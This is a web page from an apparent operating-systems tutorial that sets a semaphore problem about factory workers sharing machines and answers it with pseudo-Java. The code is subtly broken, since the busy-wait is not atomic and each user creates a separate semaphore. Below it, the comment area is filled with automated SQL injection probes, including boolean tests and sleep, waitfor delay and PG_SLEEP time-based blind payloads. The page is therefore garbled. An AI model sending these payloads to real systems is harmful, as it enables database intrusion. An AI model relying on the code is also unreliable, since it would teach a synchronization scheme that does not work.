# Semaphore for Process Synchornization

P N Ramesh & V P Arulkumar

July 28, 2022, 12:38 p.m. | Operating Systems

Problem Statement:

A factory has few machines which are used for manufacturing sheet metal products. Operator, Cleaner and mechanic are the 3 users who access those machines. Operator runs the machine to produce sheet metal products; mechanic trouble shoots the machine or performs daily maintenance work on machine. Cleaner cleans the machine and fills lubrication oil on machine.

Any user is restricted to do their work on the machine when another user doing their work on the same machine. For example Operator should not run the machine while either mechanic trouble shooting the machine or cleaner cleaning the machine.

Questions :

1.      How you synchronize the users of machine?

2.      Design an algorithm for the Synchronization Problem.

Solution:

1.      Semaphore integer variable Machine_free is used to solve the synchronization problem.

2.      If Machine_free value is equal to 1 then Machine is not used by any user, so requested user can access the machine for their work.

3.      If its value is less than 1 then some user working on machine so another requested user should wait.

Class machine_synchornize;

{

Private int Machine_free;

Public void machine_synchornize()

{

Machine_free = 1;

}

Public void wait()

{

While(this.machine_free <=0);

Machine_free--;

}

Public void Signal()

{

Machine_free++;

}

Class user

{

Void Dowork()

{

Machine_synchornize M1 = new machine_synchornize();

M1.wait();

//Access Machine;

M1.signal();

}

}

1
1
##### ubaTaeCJ
-1 OR 2+333-333-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+333-333-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+333-333) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+333-333) --
##### ubaTaeCJ
-1 OR 2+115-115-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+115-115-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+115-115)
##### ubaTaeCJ
-1 OR 3*2>(0+5+115-115)
##### ubaTaeCJ
-1' OR 2+415-415-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+415-415-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+415-415) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+415-415) --
##### ubaTaeCJ
-1' OR 2+124-124-1=0+0+0+1 or 'H76xbeGk'='
##### ubaTaeCJ
-1' OR 3+124-124-1=0+0+0+1 or 'H76xbeGk'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+124-124) or 'H76xbeGk'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+124-124) or 'H76xbeGk'='
##### ubaTaeCJ
-1" OR 2+75-75-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+75-75-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+75-75) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+75-75) --
1
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
555
1
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
4poLLeAR'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 869=(SELECT 869 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 473=(SELECT 473 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 385=(SELECT 385 FROM PG_SLEEP(15))--
##### ubaTaeCJ
tBi4Kr3e' OR 494=(SELECT 494 FROM PG_SLEEP(15))--
1
##### ubaTaeCJ
OvNZTxSg') OR 549=(SELECT 549 FROM PG_SLEEP(15))--
1
##### ubaTaeCJ
-1 OR 2+751-751-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+751-751-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+751-751) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+751-751) --
##### ubaTaeCJ
-1 OR 2+204-204-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+204-204-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+204-204)
##### ubaTaeCJ
-1 OR 3*2>(0+5+204-204)
##### ubaTaeCJ
-1' OR 2+847-847-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+847-847-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+847-847) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+847-847) --
##### ubaTaeCJ
RigoalI1')) OR 98=(SELECT 98 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1' OR 2+900-900-1=0+0+0+1 or 'XzC4hE8y'='
##### ubaTaeCJ
-1' OR 3+900-900-1=0+0+0+1 or 'XzC4hE8y'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+900-900) or 'XzC4hE8y'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+900-900) or 'XzC4hE8y'='
##### ubaTaeCJ
-1" OR 2+694-694-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+694-694-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+694-694) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+694-694) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
1'"
@@afNRM
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
4GfHaAu2'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 595=(SELECT 595 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 51=(SELECT 51 FROM PG_SLEEP(15))--
##### ubaTaeCJ
xUHt0VeZ' OR 787=(SELECT 787 FROM PG_SLEEP(15))--
##### ubaTaeCJ
QAWdOOaZ') OR 408=(SELECT 408 FROM PG_SLEEP(15))--
##### ubaTaeCJ
9VgR5FLw')) OR 329=(SELECT 329 FROM PG_SLEEP(15))--